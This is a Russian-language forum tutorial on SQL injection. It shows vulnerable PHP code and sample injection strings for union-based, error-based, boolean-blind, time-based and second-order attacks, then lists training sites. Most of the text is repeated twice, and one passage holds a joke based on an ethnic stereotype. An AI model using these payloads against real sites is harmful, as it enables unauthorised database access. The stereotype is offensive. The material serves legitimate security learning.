Здравствуйте. Мы приступаем к изучению одной из самых распространенных веб-атак - SQL-инъекции.
Введение.
В данной статье будут дано достаточно материала, чтобы вы смогли уловить общую концепцию и продолжить изучение самостоятельно. Но прежде чем приступить к делу, я хотел бы акцентировать ваше внимание на одном важном моменте:
Если вы до сих пор не разобрались с языком SQL, то дальнейшее чтение для вас бессмысленно.
Ну а теперь, когда меньшиство посетителей уже закрыло вкладку (большинство и не открывало), мы с вами перейдем к делу.
Что такое SQL-инъекция?
Существует два вида приложений. Первый вид - приложение, которое ведет себя именно так, как задумал программист. Второй - приложение, которое ведет себя не совсем так, как задумал программист.
И вся суть SQL-инъекции (а также php-инъекций, xml-инъекций и т.д.) состоит в том, чтобы найти приложение второго вида и заставить его выполнить некоторое полезное нам действие, возможность которого не планировалась программистом.
К примеру, есть некий скрипт articles.php. И туда методом Get передается значение параметра id. Кодер когда писал свое приложение думал примерно так:
"Кроче, берем id из адресной строки. Пихаем иво в скуль-запрос. Если в базе есть такой id, то выводим страницу, которая к энтому Id прикручена, а ежеле нету, то тохда ибись оно в рот и ничово не выводем."
В зависимости от того, что мы будем передавать в параметр id, приложение будет возвращать разный результат. Но любой результат можно свести к одному из трех вариантов:
Теперь давайте посмотрим, что получится, если мы будем пихать разные значения в параметр id:
Очевидно, что в суровой действительности веб-приложение ведет себя не совсем так, как это представлялось кодеру в его влажных мечтах. И по сути, в последнем варианте параметр/значение мы уже провели небольшую SQL-инъекцию.
Остается дело за малым - раскрутить эту самую инъекцию (попробовать вывести данные из бд, прочитать файлы, залить шелл и т.д.)
Стоит сразу отметить 2 нюанса:
Если вы ни черта не поняли из того что было написано в этой части статьи - либо я очень херово все описал (и это ведь только начало!), либо ты ещё не закрыл вкладку.
Виды SQL-инъекций.
SQL-инъекции разделяют на множество видов
1) По типу переменной:
Integer (целочисленная). Параметр не обрамлен кавычками:
String (строковая). Параметр обрамлен кавычками:
2) По типу SQL-запроса и месту инъекции в запросе. В теории, инъекция может быть в абсолютно любом месте абсолютно любого SQL-запроса, если туда попадают недостаточно фильтруемые данные. Чаще всего инъекции находят в SELECT (отдельно выделяют инъекции после order by, потому как их реализация чуть сложнее), реже в UPDATE, INSERT, DELETE. Поэтому можно встретить разделение - Update based, Insert based и т.д.
3) Данные в SQL-запрос могут попадать через Get, Post, Cookie, HTTP заголовки (реферрер, юзерагент, или еще что-то, на что хватит фантазии у программиста).
Также стоит отметить такой класс инъекций как Second order injection. Это когда данные попадают в SQL-запрос не напрямую от пользователя (get, post, cookie, http headers), а из БД, из файла, от самого Аллаха или еще из какого места куда мы могли ранее ввести данные.
К примеру, есть форма регистрации (все очень условно):
Данные экранируются, SQL-инъекции нет. Далее, форма авторизации:
И наконец форма для смены пароля:
Тут тоже нет SQL-инъекции. Но! Если зарегистрировать пользователя с логином "admin' #", то можно сменить пароль для пользователя "admin", не зная его действующий пароль (проверьте на досуге). Это и будет Second order SQL-injection.
4) По типу SQL-инъекции:
4.1) Union-based. Инъекция в SELECT запросе, вывод данных из БД производится с помощью оператора UNION. Этот метод работает, когда веб-приложение напрямую возвращает результат вывода команды SELECT на страницу (поэтому без разницы, включен вывод ошибок или нет).
В начале стоит 9999.9 (хотя могло быть и 0, -1 и т.д.) для того, чтобы первый запрос вернул пустой результат, а второй (уже внедренный нами), вернул то, что нам нужно.
да, прибудет кроба!
4.2) Error-based (double query). Если использовать UNION не получается (нет колонки для вывода или инъекция в UPDATE, INSERT или DELETE), то можно вывести данные из базы искусственно вызывая ошибки.
Например такой запрос:
SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(user(), FLOOR(RAND(0)*2), 64)
Вызовет ошибку, в отчете о которой мы увидим данные, которые нам были нужны:
Duplicate entry '[email protected]' for key 1
4.3) Blind-based (boolean based). Если данные нельзя вывести через union, а ошибки никак не выводятся, то скорее всего мы имеем дело со слепой инъекцией.
Как вы помните, приложение может вернуть либо нормальный результат, либо пустой, либо ошибку. Ошибки в данном случае подавляются. Поэтому мы можем использовать только, что пустой ответ это false, а нормальный ответ - true.
И это только чтобы узнать, что первый символ в имени пользователя базы данных это "r" (114 это ascii-код этого символа).
4.4) Time-based (double blind). А теперь представьте, что SQL-инъекция есть, но результат отдаваемый веб-приложением, не меняется вообще никак. Нельзя как-то выделить, что будет false, а что будет true? Что делать тогда? Использовать временные задержки.
Там где будет True, сервак будет тупить 10 секунд, прежде чем вернуть страницу. В остальном все идентично обычным слепым (boolean based) инъекциям.
Чтобы как-то уложилось в голове (вывод ошибок - от СУБД!):

Теперь, по мере изучения дальнейших материалов, вы, надеюсь, не будете путаться в классификации инъекций. Если что-то было непонятно, вы с легкостью восполните пробелы в знаниях, изучив соответствующие материалы.
Материалы.
SQL.
Как говорит сола, книжки эта долга
www.w3schools.com
www.codecademy.com
для более лучшей практики, советую самому поднять какую-нить бд
вскоре дополню ещё курсами какими-та
SQL-инъекции.
https://portswigger.net/web-security/sql-injection совет самого Люквана
https://tryhackme.com/room/sqlinjectionlm на этом же сайте есть овермного комнат по скулям
www.root-me.org
если будут ещё какие-то прикольные штучки, подкидывайте
- Введение.
- Что такое SQL-инъекция?
- Виды SQL-инъекций.
- Материалы по уязвимостям.
- Как можно использовать SQL-инъекции? - как-то глянем и сюда
- Практика. и сюда
- Автоматизация. - ну там sqlmap та и всё
Введение.
В данной статье будут дано достаточно материала, чтобы вы смогли уловить общую концепцию и продолжить изучение самостоятельно. Но прежде чем приступить к делу, я хотел бы акцентировать ваше внимание на одном важном моменте:
Если вы до сих пор не разобрались с языком SQL, то дальнейшее чтение для вас бессмысленно.
Ну а теперь, когда меньшиство посетителей уже закрыло вкладку (большинство и не открывало), мы с вами перейдем к делу.
Что такое SQL-инъекция?
Существует два вида приложений. Первый вид - приложение, которое ведет себя именно так, как задумал программист. Второй - приложение, которое ведет себя не совсем так, как задумал программист.
И вся суть SQL-инъекции (а также php-инъекций, xml-инъекций и т.д.) состоит в том, чтобы найти приложение второго вида и заставить его выполнить некоторое полезное нам действие, возможность которого не планировалась программистом.
К примеру, есть некий скрипт articles.php. И туда методом Get передается значение параметра id. Кодер когда писал свое приложение думал примерно так:
"Кроче, берем id из адресной строки. Пихаем иво в скуль-запрос. Если в базе есть такой id, то выводим страницу, которая к энтому Id прикручена, а ежеле нету, то тохда ибись оно в рот и ничово не выводем."
Код:
<?php
//articles.php
include("db_config");
$id = $_GET['id'];
$sql = "SELECT * FROM articles WHERE id = '$id' ";
$result = mysql_query($query) or die(mysql_error());
$row = mysql_fetch_array($result) or die("НИЧЕВО НЕТУ!!!");
//...
В зависимости от того, что мы будем передавать в параметр id, приложение будет возвращать разный результат. Но любой результат можно свести к одному из трех вариантов:
- Пустой ответ
- Нормальный ответ
- Ошибка
Теперь давайте посмотрим, что получится, если мы будем пихать разные значения в параметр id:
Параметр/значение | Ожидания кодера | Суровая действительность |
id=1 | Страница 1 | Страница 1 |
id=2 | Страница 2 | Страница 2 |
id=3 | Страница 3 | Страница 3 |
id=4000000 | Пустой ответ | Пустой ответ |
id=0 | Пустой ответ | Пустой ответ |
id=1kkdka | Пустой ответ | Пустой ответ |
id=asdf | Пустой ответ | Пустой ответ |
id=-1 | Пустой ответ | Пустой ответ |
id=9999.9 | Пустой ответ | Пустой ответ |
id=2-1 | Пустой ответ | Пустой ответ |
id=-1' | Пустой ответ | Ошибка |
id=-1\ | Пустой ответ | Ошибка |
id=9999.9' or id='2 | Пустой ответ | Страница 2 |
Очевидно, что в суровой действительности веб-приложение ведет себя не совсем так, как это представлялось кодеру в его влажных мечтах. И по сути, в последнем варианте параметр/значение мы уже провели небольшую SQL-инъекцию.
Остается дело за малым - раскрутить эту самую инъекцию (попробовать вывести данные из бд, прочитать файлы, залить шелл и т.д.)
Стоит сразу отметить 2 нюанса:
- Если ошибки не выводятся, это совсем не значит, что в приложении нет SQL-инъекции.
- Помните, что есть существенная разница между выводом ошибок от интерпретатора и выводом ошибок от СУБД.
Если вы ни черта не поняли из того что было написано в этой части статьи - либо я очень херово все описал (и это ведь только начало!), либо ты ещё не закрыл вкладку.
Виды SQL-инъекций.
SQL-инъекции разделяют на множество видов
1) По типу переменной:
Integer (целочисленная). Параметр не обрамлен кавычками:
Код:
SELECT * FROM articles WHERE id = $id ;
Код:
SELECT * FROM articles WHERE id = ' $id ';
SELECT * FROM `$articles` WHERE id = 123 ;
SELECT * FROM articles WHERE id = " $id ";
2) По типу SQL-запроса и месту инъекции в запросе. В теории, инъекция может быть в абсолютно любом месте абсолютно любого SQL-запроса, если туда попадают недостаточно фильтруемые данные. Чаще всего инъекции находят в SELECT (отдельно выделяют инъекции после order by, потому как их реализация чуть сложнее), реже в UPDATE, INSERT, DELETE. Поэтому можно встретить разделение - Update based, Insert based и т.д.
3) Данные в SQL-запрос могут попадать через Get, Post, Cookie, HTTP заголовки (реферрер, юзерагент, или еще что-то, на что хватит фантазии у программиста).
Также стоит отметить такой класс инъекций как Second order injection. Это когда данные попадают в SQL-запрос не напрямую от пользователя (get, post, cookie, http headers), а из БД, из файла, от самого Аллаха или еще из какого места куда мы могли ранее ввести данные.
К примеру, есть форма регистрации (все очень условно):
Код:
<?php
//Форма регистрации
$username = mysql_real_escape_string($_POST['username']);
$pass = mysql_real_escape_string($_POST['pass']);
$sql = "INSERT INTO users (username, pass) VALUES ('$username','$pass') ";
mysql_query($query) or die('Люк, игрой в доту и меня возьми!');
Данные экранируются, SQL-инъекции нет. Далее, форма авторизации:
Код:
<?php
//Форма аутентификации. Логин попадает в сессию
$username = mysql_real_escape_string($_POST['username']);
$pass = mysql_real_escape_string($_POST['pass']);
$sql = "SELECT * FROM users WHERE username='$username' AND pass='$pass'";
$result = mysql_query($query) or die('Блэчер, учи уроке!');
$row = mysql_fetch_row($result);
$_SESSION['username'] = $row['username'];
И наконец форма для смены пароля:
Код:
<?php
//Форма смены пароля.
$username=$_SESSION['username'];
$password = mysql_real_escape_string($_POST['pass']);
$new_pass = mysql_real_escape_string($_POST['new_pass']);
$sql = "UPDATE users SET PASSWORD='$new_pass' where username='$username' and password='$password' ";
$result = mysql_query($query) or die('Катафалк выехал...');
Тут тоже нет SQL-инъекции. Но! Если зарегистрировать пользователя с логином "admin' #", то можно сменить пароль для пользователя "admin", не зная его действующий пароль (проверьте на досуге). Это и будет Second order SQL-injection.
4) По типу SQL-инъекции:
4.1) Union-based. Инъекция в SELECT запросе, вывод данных из БД производится с помощью оператора UNION. Этот метод работает, когда веб-приложение напрямую возвращает результат вывода команды SELECT на страницу (поэтому без разницы, включен вывод ошибок или нет).
- http://example.com/?id=9999.9' union select 1,2,3,4,5,6,7 --+
В начале стоит 9999.9 (хотя могло быть и 0, -1 и т.д.) для того, чтобы первый запрос вернул пустой результат, а второй (уже внедренный нами), вернул то, что нам нужно.
да, прибудет кроба!
4.2) Error-based (double query). Если использовать UNION не получается (нет колонки для вывода или инъекция в UPDATE, INSERT или DELETE), то можно вывести данные из базы искусственно вызывая ошибки.
Например такой запрос:
SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(user(), FLOOR(RAND(0)*2), 64)
Вызовет ошибку, в отчете о которой мы увидим данные, которые нам были нужны:
Duplicate entry '[email protected]' for key 1
Представьте, что чекист спрашивает еврея:
- Правда, что самый жадный еврей украл завтра шекель у старушки?
- Вы непгавильно задали вопгос, нельзя навегняка сказать, Изя завтга укгадет что-то или таки-нет.
- Правда, что самый жадный еврей украл завтра шекель у старушки?
- Вы непгавильно задали вопгос, нельзя навегняка сказать, Изя завтга укгадет что-то или таки-нет.
4.3) Blind-based (boolean based). Если данные нельзя вывести через union, а ошибки никак не выводятся, то скорее всего мы имеем дело со слепой инъекцией.
Как вы помните, приложение может вернуть либо нормальный результат, либо пустой, либо ошибку. Ошибки в данном случае подавляются. Поэтому мы можем использовать только, что пустой ответ это false, а нормальный ответ - true.
Параметр/значение | Результат |
id=1' and Ascii(substring((Select user()),1,1))>97 --+ | True |
id=1' and Ascii(substring((Select user()),1,1))>120 --+ | False |
id=1' and Ascii(substring((Select user()),1,1))>110 --+ | True |
id=1' and Ascii(substring((Select user()),1,1))>115 --+ | False |
id=1' and Ascii(substring((Select user()),1,1))<113 --+ | False |
id=1' and Ascii(substring((Select user()),1,1))=114 --+ | True |
Представьте что вы общаетесь с суперкомпьютером, который говорит "да" в случае правильного утверждения и молчит в случае неправильного утверждения:
- Бог есть?
- (молчание)
- У люка есть тянка?
- (молчание)
- Мир захватят огромные человекоподобные роботы которых напишут люк и сола?
- Да.
- Бог есть?
- (молчание)
- У люка есть тянка?
- (молчание)
- Мир захватят огромные человекоподобные роботы которых напишут люк и сола?
- Да.
4.4) Time-based (double blind). А теперь представьте, что SQL-инъекция есть, но результат отдаваемый веб-приложением, не меняется вообще никак. Нельзя как-то выделить, что будет false, а что будет true? Что делать тогда? Использовать временные задержки.
Параметр/значение | Результат |
id=1' and if (Ascii(substring((Select user()),1,1))>97, sleep(10),0) --+ | True |
id=1' and if (Ascii(substring((Select user()),1,1))>120, sleep(10),0) --+ | False |
id=1' and if (Ascii(substring((Select user()),1,1))>110, sleep(10),0) --+ | True |
id=1' and if (Ascii(substring((Select user()),1,1))>115, sleep(10),0) --+ | False |
id=1' and if (Ascii(substring((Select user()),1,1))<113, sleep(10),0) --+ | False |
id=1' and if (Ascii(substring((Select user()),1,1))=114, sleep(10),0) --+ | True |
Там где будет True, сервак будет тупить 10 секунд, прежде чем вернуть страницу. В остальном все идентично обычным слепым (boolean based) инъекциям.
Чтобы как-то уложилось в голове (вывод ошибок - от СУБД!):

Теперь, по мере изучения дальнейших материалов, вы, надеюсь, не будете путаться в классификации инъекций. Если что-то было непонятно, вы с легкостью восполните пробелы в знаниях, изучив соответствующие материалы.
Материалы.
SQL.
Как говорит сола, книжки эта долга

SQL Tutorial
W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more.

SQL Courses & Tutorials | Codecademy
SQL is the standard relational data management language. We live in a data-driven world, and there are many businesses that store their information inside large, relational databases. This makes SQL a great skill not only for data scientists and engineers, but for anyone wanting to be data-literate.
вскоре дополню ещё курсами какими-та
SQL-инъекции.
https://portswigger.net/web-security/sql-injection совет самого Люквана
https://tryhackme.com/room/sqlinjectionlm на этом же сайте есть овермного комнат по скулям
Выполнить поиск [Root Me : plateforme d’apprentissage dédiée au Hacking et à la Sécurité de l’Information]
Root Me est une plateforme permettant à chacun de tester et d'améliorer ses connaissances dans le domaine de la sécurité informatique et du hacking à travers la publication de challenges, de solutions, d'articles.
если будут ещё какие-то прикольные штучки, подкидывайте
Последнее редактирование модератором: